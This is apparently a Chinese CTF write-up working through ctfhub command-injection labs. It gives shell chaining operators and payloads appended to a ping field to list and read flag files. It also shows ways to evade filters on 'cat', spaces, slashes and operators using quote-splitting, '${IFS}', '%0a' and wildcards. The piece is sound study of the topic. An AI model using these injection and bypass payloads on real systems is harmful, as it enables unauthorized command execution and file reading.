RCE复习(ctfhub下)

先了解一下命令注入的知识点:

知识点

1、常见的拼接符

  1. A ; B     先执行A,再执行B
  2. A & B    简单的拼接
  3. A | B      显示B的执行结果
  4. A&&B    A执行成功之后才会执行B
  5. A || B     A执行失败之后才会执行B
  6.       ,       在特殊情况下可代替空格

2、常见的命令

(1)、windows

1.type  显示文本文件内容
type x:\1.txt                      //显示x盘下的1.txt文件内容
type x:\1.txt | more            //分页显示x盘里1.txt的内容
more 1.txt                         //逐屏显示当目下1.txt的文本内容(空格:下一屏 q:退出)

2.dir  显示目录里的内容
dir                //显示当前目录里的子文件夹和文件
dir /b            //只显示当前目录子文件夹、文件的文件名
dir /p            //分页显示当前目录子文件夹、文件
dir /ad          //只显示当前目录中的文件夹
dir /a-d         //显示当目里的文件
dir x:/a         //显示x盘下a文件夹中的内容
dir 1.txt        //显示当目下1.txt的信息
dir /s            //递归显示当目中的内容   ctrl c终止当前命令
dir a*           //显示当目下a开头的文件、文件夹信息
dir /ah /os    //显示当目下隐藏的文件和目录,按文件大小从小到大排序

(2)linux

1、ls:列出目录

2、pwd:显示当前所在的目录

3、cat:由第一行开始查看文件

4、tac:由最后一行到第一行查看

5、more:逐项查看文件,按空格继续,最后自己退出

6、less:逐行查看文件,按方向键,不可主动退出,按q退出

7、head:只查看文件前十行

8、tail:只查看文件后十行

补充:

接下来是例题:

一.命令注入

打开题目,告诉我们是命令注入且无过滤

1.使用了ping命令,我们输入IP,进行ping;由于没有过滤,直接进行命令的拼接

直接查看根目录

127.0.0.1 | ls

在根目录中发现了两个文件,猜测在第一个里面

直接查看文件的内容:

127.0.0.1 | cat 260731822620001.php

但是发现没有回显,查看源代码试一试

发现源代码中藏有flag

二.过滤cat

1.其实这道题目和上一题的做法一样,只不过需要把命令中的cat给绕过

2.查看文件的命令不能是cat,对比上述知识点,也可以选择其他的查看文件的命令;(比如head)

127.0.0.1 | ls

先查看根目录

发现了flag文件,那么就直接访问这个flag文件

(1)使用head代替掉cat

127.0.0.1 | head flag_7157667214323.php

还是一样的没有回显,查看源代码

发现了flag

(2)绕过cat

使用单引号绕过 

127.0.0.1; c''at ​  flag_7157667214323.php  ​ |base64

 

发现了一串base64编码,解码即可

同样的可以得到flag

下面这两个和单引号绕过得到的结果一样,只是绕过的方式不同罢了

使用双引号绕过 :

127.0.0.1; c""at flag_7157667214323.php |base64

利用Shell 特殊变量绕过:

127.0.0.1; ca$@t flag_7157667214323.php |base64

三.过滤空格

其他步骤不变,空格被过滤,可以对空格进行代替,然后绕过。

<,<>,%20(space),%09(tab),$IFS$9,{IFS}

以上这些字符都可以代替空格

$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,因此这里加一个{}就固定了变量名。
同理,在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。以下payload皆可绕过本题空格:

先看当前目录

127.0.0.1;ls

发现了flag文件,直接查看这个flag文件,但是要注意替换掉命令中的空格

127.0.0.1|cat<flag_136091577914436.php

又是什么都不显示,那么就直接查看源代码

发现了flag

其它的字符替换掉空格的做法就不再展示,和上面的一样的操作

四.过滤目录分隔符

法一:先查看根目录,发现有提示“flag_is_here”

根据提示,进去看一下:

127.0.0.1;ls flag_is_here

发现了flag文件

根据经验知道我们只要访问到php文件的内容就可以拿到flag了

 思路:这里我们可以用&&运算符将命令连接起来就能成功拿到flag

127.0.0.1;cd flag_is_here&&cat flag_19900138617064.php|base64

法二:这题过滤了目录分割符,flag在/flag_here文件夹下面,因此不能直接读取,我们需要进行命令的拼接。

;cd flag_is_here;ls

这个命令分三步执行:

1、ping

2、进入flag_is_here文件夹

3、列举flag_is_here文件夹下的文件

发现了flag文件

同理,进行命令拼接,读取文件内容

;cd flag_is_here;cat flag_1619816943826.php

这个命令分三步执行:

1、ping

2、进入flag_is_here文件夹

3、读取文件夹下的flag.php

得到了flag

五.过滤运算符

进入题目发现过滤掉了“/(\||\&)/”这些字符,那么我们就不用这些运算符

127.0.0.1;ls

发现了flag文件

127.0.0.1;cat flag_24277163784460.php

同样的在源代码中发现了flag

六.综合过滤练习

看见源代码中给出了本题目过滤掉的字符,甚至把cat和flag, ctfhub同时过滤掉了

不过运算符";"可以用%0a%0d%0D%0A绕过

空格可以用${IFS}

cat可以用more,head

flag可以用f***

先执行命令127.0.0.1%0als

但是没有回显,查了一下得知:这里因为%0a是url编码,所以要输入到url中,否则会被二次编码

所以这道题目的每一条命令都要构造url的payload

?ip=127.0.0.1%0als

接下来查看flag_is_here

/?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als

然后查看flag内容的base64编码

/?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_7287917426138.php

 

得到一串base64编码,进行解码

解码成功,得到了flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/4822.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

算法学习002-填数游戏 中小学算法思维学习 信奥算法解析 c++实现

目录 C填数游戏 一、题目要求 1、编程实现 2、输入输出 二、算法分析 三、程序编写 四、程序说明 五、运行结果 六、考点分析 七、推荐资料 C填数游戏 一、题目要求 1、编程实现 在小学奥数中经常会看到一些填数字的游戏&#xff0c;如下图所示&#xff0c;其中每个…

【PostgreSQL】pg触发器介绍

注: 本文为云贝教育 刘峰 原创&#xff0c;请尊重知识产权&#xff0c;转发请注明出处&#xff0c;不接受任何抄袭、演绎和未经注明出处的转载。 触发器是在对指定表执行指定更改操作&#xff08;SQL INSERT、UPDATE、DELETE 或 TRUNCATE 语句&#xff09;时自动运行的一组操作…

3个IE还不够?誉天大牛学员:我要学5个!

乔同学 誉天4HCIERHCA学员 2018年盛夏&#xff0c;在那个充满了炙热与躁动的青春里&#xff0c;因为考HCIA-R&S&#xff0c;我和誉天相遇了。我想&#xff0c;大概是从那个时候开始&#xff0c;命运的齿轮便发生了转动&#xff0c;为我打开了通往ICT的大门。 时至今日&…

vue2左侧菜单栏收缩展开功能

目录 1. Main.vue页面代码 a. 修改侧边栏属性 b. 修改头部导航栏 c. 定义我们的变量 d. collapse函数 2. Header.vue页面代码 3. Aside.vue页面代码 vue2左侧菜单栏收缩展开目前是非常常见的&#xff0c;我们在日常开发过程中经常会碰到。这一小节我们就详细了解一下这个…

如何使用PHPMyAdmin进行数据库备份

本周有一个客户&#xff0c;购买Hostease的虚拟主机&#xff0c;询问我们的在线客服&#xff0c;如何使用PHPMyAdmin进行数据库备份。我们为用户提供教程&#xff0c;用户很快完成了设置。在此&#xff0c;我们分享这个操作教程&#xff0c;希望可以对您有帮助。 它适用于安装P…

笔试刷题-Day10

牛客 一、DP30买卖股票的最好时机&#xff08;一&#xff09; 算法&#xff1a;虽然题目标了DP但是用贪心更快页更容易理解 import java.util.Scanner;// 注意类名必须为 Main, 不要有任何 package xxx 信息 public class Main {public static void main(String[] args) {Sca…

动态规划-子序列问题1

文章目录 1. 最长递增子序列&#xff08;300&#xff09;2. 摆动序列&#xff08;376&#xff09;3. 最长递增子序列的个数&#xff08;673&#xff09;4. 最长数对链&#xff08;646&#xff09; 1. 最长递增子序列&#xff08;300&#xff09; 题目描述&#xff1a; 状态表…

气血足不足主要看看两个部位这些补气血的调理方法帮到您

气血足不足&#xff0c;关键看这两处&#xff1a;1、观耳识气血&#xff1a;红润饱满&#xff0c;弹性十足&#xff0c;这便是气血旺盛的直观表现。然而&#xff0c;随着年龄的增长&#xff0c;许多人会发现耳朵逐渐松弛、出现皱纹&#xff0c;这往往暗示着气血的流失。这里有个…

电路邱关源学习笔记——3.5回路电流法

1.回路电流法 以基本回路中沿回路连续流动的假想电流为未知量列写电路方程分析电路的方法。它适用于平面和非平面电路。 列写的方程 回路电流法是对独立回路列写KVL方程&#xff0c;方程数为&#xff1a;b-n1 注意&#xff1a;与支路电流法相比&#xff0c;方程数减少了n-1个…

机器人操作系统ROS2学习—编译工作空间colcon build报错问题

在ROS2中&#xff0c;工作空间创建完成后&#xff0c;会经常需要编译工作空间。在工作空间dev_ws 下打开一个终端&#xff0c;通过指令Colcon build来编译工作空间。 1、这个过程有可能会出现如下错误: "colconbuild:Duplicate package names not supported" 根据…

实现堆的各种基本运算的算法(数据结构)

以小堆为例&#xff0c;大堆就举一反三了。 堆的物理结构就是普通的数组&#xff0c;但是逻辑结构看成了一颗完全二叉树。 小堆&#xff0c;就是树的每一个父节点都小于他的孩子节点。如图中第一排的a与b。大堆&#xff0c;就是树的每一个父节点都大于他的孩子节点。如图中第…

DBA-现在应该刚刚入门吧

说来话长 在2023年以前&#xff0c;我的DBA生涯都是“孤独的”。成长路径除了毕业前的实习期有人带&#xff0c;后续几乎都是靠自学。如何自学&#xff0c;看视频、看文档、网上查阅资料、项目实战。 可能是学疏才浅 &#xff0c;一直都是在中小公司混&#xff0c;在中小公司通…

为什么本国货币的贬值会导致本国物价的上涨

本国货币贬值意味着其对外国货币的汇率下降&#xff0c;也就是说&#xff0c;同样数量的本国货币现在能兑换的外国货币减少了。这种情况下&#xff0c;本国货币的购买力相对于外国货币减弱了。本国货币贬值可能导致本国物价上涨的几个原因&#xff1a; 进口成本上升&#xff1a…

德思特手持式频谱分析仪加速公共无线事业的运行

一、公共无线事业中无线电的重要性 提起无线电&#xff0c;许多人或许觉得这是非常老旧的观念。实际上&#xff0c;无线电在我们的生活中占据着非常重要的地位。当前&#xff0c;无线电早已成为受众最广泛的大众媒介。据工业和信息化部资料显示&#xff0c;全球95%的人口都可以…

【MATLAB源码-第195期】基于matlab的OFDM,UFMC,FBMC三种通信系统误码率对比仿真。

操作环境&#xff1a; MATLAB 2022a 1、算法描述 OFDM&#xff08;正交频分复用&#xff09;、UFMC&#xff08;通用频率分割复用&#xff09;、FBMC&#xff08;滤波器组多载波&#xff09;是目前无线通信领域中使用较广的几种多载波调制技术。随着无线通信技术的飞速发展&…

STM32学习和实践笔记(23):PWM输出的配置

PWM可以看作是定时器功能中其中一个子功能&#xff0c;配置步骤与前面定时器的方式类似。相关库函数也同样在tim.c里。 3.PWM输出配置步骤 &#xff08;1&#xff09;使能定时器及端口时钟&#xff0c;并设置引脚复用器映射。 a) RCC_APB1PeriphClockCmd(RCC_APB1Pe…

举个栗子!Tableau 技巧(272):学做曲线面积图(Sigmoid area charts)

曲线面积图&#xff08;Sigmoid area charts&#xff09;是区域图的一种创新变形&#xff0c;呈现数据随时间变化的情况&#xff0c;也可用于对数据总值趋势的洞察。 如何在 Tableau 中具体实现呢&#xff1f;今天的栗子&#xff0c;一睹为快吧&#xff01; 本期《举个栗子》…

HTML学习笔记(二)

1.HTML图像 图像标签&#xff08;<img>)和源属性&#xff08;src&#xff09; HTML中&#xff0c;图像由<img>标签来定义&#xff0c;<img>是空标签&#xff0c;只包含属性&#xff0c;没有闭合标签。在页面上显示图像需要使用源属性&#xff08;src),src是指…

机器人系统ros2-开发实践03-监听节点的参数变化(C++)

背景&#xff1a; 通常&#xff0c;节点需要响应其自身参数或另一个节点参数的更改。 ParameterEventHandler 类可以轻松侦听参数更改&#xff0c;以便您的代码可以响应它们。本教程将向您展示如何使用 ParameterEventHandler 类的 C 版本来监视节点自身参数的更改以及另一个节…

Linux系统安全与应用【一】

目录 1.账号安全控制 1.1 系统账号清理 1.2 密码安全控制 1.3 命令历史限制 1.4 命令总结 2.系统引导和登录控制 2.1 使用su命令切换用户 2.2 限制使用su命令的用户 3.可插拔式认证模块PAM 3.1 linux中的PAM安全认证 3.2 PAM认证原理​编辑 3.3 PAM认证的构成 3.4 P…